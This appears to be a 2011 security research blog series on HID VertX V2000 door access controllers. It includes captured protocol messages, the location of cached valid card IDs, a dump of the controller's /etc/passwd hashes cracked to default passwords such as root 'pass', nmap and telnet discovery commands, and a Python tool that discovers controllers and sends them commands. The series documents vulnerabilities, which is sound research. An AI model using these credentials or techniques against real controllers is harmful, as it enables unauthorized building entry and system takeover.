The first thing I noticed was that the VertX sends a heartbeat to WebBrix every 20 seconds (configurable option) to make sure its still connected. I sort of expected this since the heartbeat configuration was mentioned throughout the deployment documentation, so after letting communication happen naturally for a few minutes, it was easy to pick out which traffic was heartbeat related. I haven't deciphered all the fields but this is what is sent:

    Heartbeat From VertX to WebBrix: 1080;0087;V2000;IP_ADDR;MAC_ADDR;VertXController;05:53:17 IST 07/20/2011;
    Response From WebBrix to VertX:
    0080;0010;
I put an authorized card up to the reader and watched the communication in wireshark and this is what came across:

    Authorized Card Read from VertX to WebBrix 1065;0084;1060;000304;1;20;2;20;245;05:54:16 IST 07/20/2011;MAC_ADDR;0;0;5^
    WebBrix Response:
    0067;0010;
Fair enough, next was an unauthorized card read:

    Unauthorized Card Read from VertX to WebBrix: 1065;0118;1060;000306;2;20;1;22;245;06:17:45 IST 07/20/2011;MAC_ADDR;0;0;00263F9C000000000000000000000000;26^
    WebBrix Response:
    0067;0010;


So that was confusing to me. How could an authorized and unauthorized card both produce the same response?

It just so happened that last night we had our monthly office bar visit, and i was discussing the responses with Par, one of our IR rockstars. By performing a couple simple test, it was clear that the VertX cached card values locally:

  • Read successful card. Observe door unlock
  • Unplug network cable. Observe door unlock
  • Reboot VertX. Observe door unlock

So I must have missed something in the initial handshake. I took a unprovisioned card and enabled access for it this is what i saw (new card ID is 00263F8E):

    Provisioned new card (WebBrix to VertX)
    0023;0026;0;1;00263F8E;-1;
    VertX Response:
    1023;0016;-1016;
    WebBrix Response:
    0024;0104;0;1;00263F8E;0;1;7;2;0;0;0;0;0;0;0;0;0;0;0;0;2011/07/20-06:32:00;2030/12/31-23:59:59;0;0;0;0;1
    VertX Response:
    1024;0012;0;

So it looks like the backend system (WebBrix) sends access data when its provisioned, then the VertX caches it.

Local Storage of Card Values

A quick look on the VertX revealed that there are two files which store this data:

/mnt/data/config/AccessDB
/mnt/data/config/IdentDB

I haven't figured out exactly what the AccessDB does (presumably maps cards to doors?), but if you open the IdentDB in a hex editor you can see the valid CardIDs:


This means, if you have access to a VertX V2000, you can easily pull this file and have the entire cache of valid card IDs!

Next on the list: Seeing what happens when you manually add a card value into the IdentDB.

Tuesday, July 19, 2011

HID VertX V2000 Default Password

In my last post I showed you how to identify HID VertX controllers on the network. Once you identify them, the next step is to figure out how to gain access. That's not really difficult since they have a default password set for the root account. The VertX controller is primarily managed via the web interface which is relies on the admin account for authentication. From this web interface, you can change the password on the admin account, but never is there a mention of the root account.

The system has Telnet, HTTP, and FTP enabled by default, all of which relies on the /etc/passwd for authentication. User manuals say to use the admin account for everything, but if you look at management software provided by third parties, you'll see a lot of them use this root account for upgrading firmware and remote configuration.

As mentioned in my previous article, these systems handle physically proximity card access. Since they run Linux, I'm hoping I can find the processes that are responsible for relaying the card data from the reader to the backend, and the processes responsible for doing fun stuff like opening doors. If i can, then i bet writing a rootkit to do my bidding wouldnt be all that hard :)

Here are the goodies:


[root@VertXController /]5748# cat /etc/passwd
root:$1$$uqbusDeGY2YWqg.T2S1100:0:0:Administrator:/:/bin/sh
nobody:*:99:99:Nobody:/:
modem1:$1$$Y9rDiTVKDBq0qyRvfJnpd/:500:503:Linux User,,,:/:/bin/sh
router1:$1$$8gZZvhvWWFKJ7whpMxbQn/:501:503:Linux User,,,:/:/bin/sh
admin:$1$$qRPK7m23GJusamGpoGLby/:502:504:Linux User,,,:/:/bin/sh


The password is a tough one:


root@bt:/pentest/passwords/john# ./john vertx.passwd
Loaded 4 password hashes with no different salts (FreeBSD MD5 [32/32])
router1 (router1)
modem1 (modem1)
(admin)
pass (root)
guesses: 4 time: 0:00:00:03 100.00% (2) (ETA: Thu Jul 14 15:00:01 2011) c/s: 9390 trying: pass

Thursday, July 14, 2011

Identifying and Querying HID VertX Controllers On The Network - VertX_Query.py

At the most basic level, HID VertX Access Controllers work in proximity card access systems and take the data provided by the reader (usually presented via the Weigand Protocol) and format it so a backend system can process the data. The backend system will look up the card ID provided and see if it has access to the particular door its requesting access from. The backend system makes that decision then sends it back over to the controller which then opens the door, or keeps it locked.

You can guess why these systems could be important to protect on a network. Here are a couple ways to identify them and a tool i wrote to help pull some data from them.

1. Standard Port Scan for TCP 4050: The first way is to do a quick sweep for any hosts with a service on TCP 4050.


root@bt:/VertX# nmap -sS -p 4050 --open 192.168.1.0/24

Starting Nmap 5.51 ( http://nmap.org ) at 2011-07-14 14:54 EDT
Nmap scan report for 192.168.1.50
Host is up (0.00090s latency).
PORT STATE SERVICE
4050/tcp open unknown
MAC Address: 00:06:8E:FF:FF:FF (HID)

Nmap done: 256 IP addresses (22 hosts up) scanned in 2.97 seconds


2. Check OUIs: If you're on the same network, or can otherwise look at the system's MAC address, HID has its own OUI(s) allocated to them.

3. Telnet Banner: Obvious, but not always enabled.

root@bt:/# telnet 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.

Axis Developer Board LX release 2.2.0
Linux 2.4.26 on a cris (0)

VertXController login:


4. VertX Tool Box Discovery: HID has a Windows Client called the Discovery Client.

5. VertX_Query.py: This is a simple tool I wrote to identify VertX Controllers on a local network, and perform some other basic functions.

If you're within the same broadcast domain you can send out a broadcast, otherwise just define a suspected IP and it'll pull any information it can:

root@bt:/VertX# ./VertX_Query.py -h 255.255.255.255 -m 01
VertX_Query.py - HID VertX Discovery and Query Tool
by brad antoniewicz
--------------------------------------

[+] Got Response
Type: VertXController - V2000
Version: 2.2.7.18
IP Address: 192.168.1.50
MAC Address: 00:06:8E:FF:FF:FF



The tool also can make the Comm LED blink on/off by defining a 02 and 03 message type.

Here's the help:


root@bt:/VertX# ./VertX_Query.py
VertX_Query.py - HID VertX Discovery and Query Tool
by brad antoniewicz
--------------------------------------

Options:
-h host
-p port (default 4070)
-v verbose
-m Message Type code

Supported Message Types:
01 Discover
02 command_blink_on
03 command_blink_off


Here's the code:

root@bt:/VertX# cat VertX_Query.py
#!/usr/bin/env python
#
# VertX_Query.py - HID VertX Discovery and Query Tool
# by brad antoniewicz
#


import struct
import socket
import binascii
import getopt
import sys
import random
from socket import *

def usage():
        help = "Options:\n"
        help += "\t-h <host>\t host\n"
        help += "\t-p <port>\t port (default 4070)\n"
        help += "\t-v \t\t verbose\n"
        help += "\t-m <code> \t Message Type code\n"
        help += "\nSupported Message Types:\n"
        help += "\t01 \t Discover\n"
        help += "\t02 \t command_blink_on\n"
        help += "\t03 \t command_blink_off\n"
        return help

def process_resp(recv_data,msg_type):
        # ('discovered;090;MAC_ADDR;VertXController;IP_ADDR;2;V2000;2.2.7.18;02/27/2007;', ('10.112.18.50', 4070))
        mac=0
        if msg_type == "01":
                data = recv_data[0].split(';')
                print "\tType:\t\t",data[3],"-",data[6]
                print "\tVersion:\t",data[7]
                print "\tIP Address:\t",data[4]
                print "\tMAC Address:\t",data[2]
                mac = data[2]
        return mac

def get_mac(host,port):
        msg_to_send = buildmsg("01",0,host,port)
        if msg_to_send:
                mac = sendmsg(host,port,binascii.unhexlify(msg_to_send),0,0,"01")
        return mac

def buildmsg(msg_type,verbose,host,port):
        # Basic Connect
        if msg_type == "01" :
                # discover;013;
                msg = "646973636f7665723b3031333b"
        elif msg_type == "02":
                # command_blink_on;042;MAC_ADDR;30;
                print "[+] Querying Host first to pull MAC address"
                msg = "command_blink_on;042;"
                msg += get_mac(host,port)
                msg += ";30;"
                msg = binascii.hexlify(msg)
                print "[+] Sending command_blink_on"

        elif msg_type == "03":
                # command_blink_off;042;MAC_ADDR;1;
                print "[+] Querying host first to pull MAC address"
                msg = "command_blink_off;042;"
                msg += get_mac(host,port)
                msg += ";1;"
                msg = binascii.hexlify(msg)
                print "[+] Sending command_blink_off"
        else :
                print "[!] Message Type", msg_type, "unsupported!"
                print "[!] Unsupported message types can only be used with -f\n"
                print "[!] Quiting..."
                return 0

        ## Get the length of our msg
        total_length = len(binascii.unhexlify(msg))

        datahex=msg

        if verbose:
                print '[Verbose] Message before Send:\nH(', total_length, '):', datahex, '\t | \tA:', binascii.unhexlify(datahex)

        return datahex


def sendmsg(host,port,hex_msg,verbose,count,msg_type):

        udp=0

        if ((msg_type == "01") or (msg_type == "02") or (msg_type == "03")):
                if verbose:
                        print '[Verbose] Message type indicates UDP'
                udp=1

        if udp:
                s = socket(AF_INET,SOCK_DGRAM)
                if ( host == "255.255.255.255"):
                        if verbose:
                                print '[Verbose] Destination is Broadcast'
                        s.bind(('',0))
                        s.setsockopt(SOL_SOCKET, SO_BROADCAST,1)
        else:
                s = socket.socket()

        s.settimeout(2)

        recv_data = 0

        if verbose:
                print '[+] Target',host,':',port
                print "[+] Sending msg with length",len(hex_msg)

        if udp:
                s.sendto(hex_msg,(host,port))
                error=0
        else:
                s.connect((host,port))
                error = s.sendall(hex_msg)

        if error:
                print "[!] Error:",error
        else:
                try:
                        if udp:
                                 recv_data = s.recvfrom(1024);
                        else:
                                recv_data = s.recv(1024);

                except:
                        if count:
                                print "[",count,":ALERT] Client timed out or didnt respond!"
                        else:
                                print "[ALERT] Client timed out or didnt respond!"

                if recv_data:
                        if verbose:
                                print '[+] Client Resp:'
                                print '\t ascii:\t',recv_data
                                if not udp:
                                        print '\t hex:\t',binascii.hexlify(recv_data)
                        else:
                                print "[+] Got Response"
                        mac = process_resp(recv_data,msg_type)
                else:
                        if count:
                                print "[",count,"] No recv_data"
                        else:
                                print "[+] No recv_data"

        if not udp:
                s.shutdown(2)

        s.close()
        if mac:
                return mac


def main():
        print "VertX_Query.py - HID VertX Discovery and Query Tool"
        print "by brad antoniewicz"
        print "--------------------------------------\n"

        try:
                opts, args = getopt.getopt(sys.argv[1:], "h:p:m:vfs:at:",[])

        except getopt.GetoptError:
                print usage()
                return
        port = 4070
        host = cmdcode = verbose = fuzz = hex_str = dumbfuzz = ftype = vals = 0

        for o, a in opts:
                if o == "-h":
                        host = a
                if o == "-p":
                        port = int(a)
                if o == "-m":
                        cmdcode = a
                if o == "-v":
                        verbose = 1
                if o == "-f":
                        fuzz = 1
                if o == "-s":
                        hex_str = a
                if o == "-a":
                        vals = 1
                if o == "-t":
                        ftype = a
        if (host == 0) or (cmdcode == 0):
                print usage()
                return

        if verbose and cmdcode:
                print "[Verbose] Command code: ",cmdcode

        if fuzz:
                fuzz_msg(host,port,cmdcode,hex_str,verbose,ftype,vals)
        elif dumbfuzz:
                dumbfuzzer(verbose)
        else:
                msg_to_send = buildmsg(cmdcode,verbose,host,port)
                if msg_to_send:
                        sendmsg(host,port,binascii.unhexlify(msg_to_send),verbose,0,cmdcode)
main()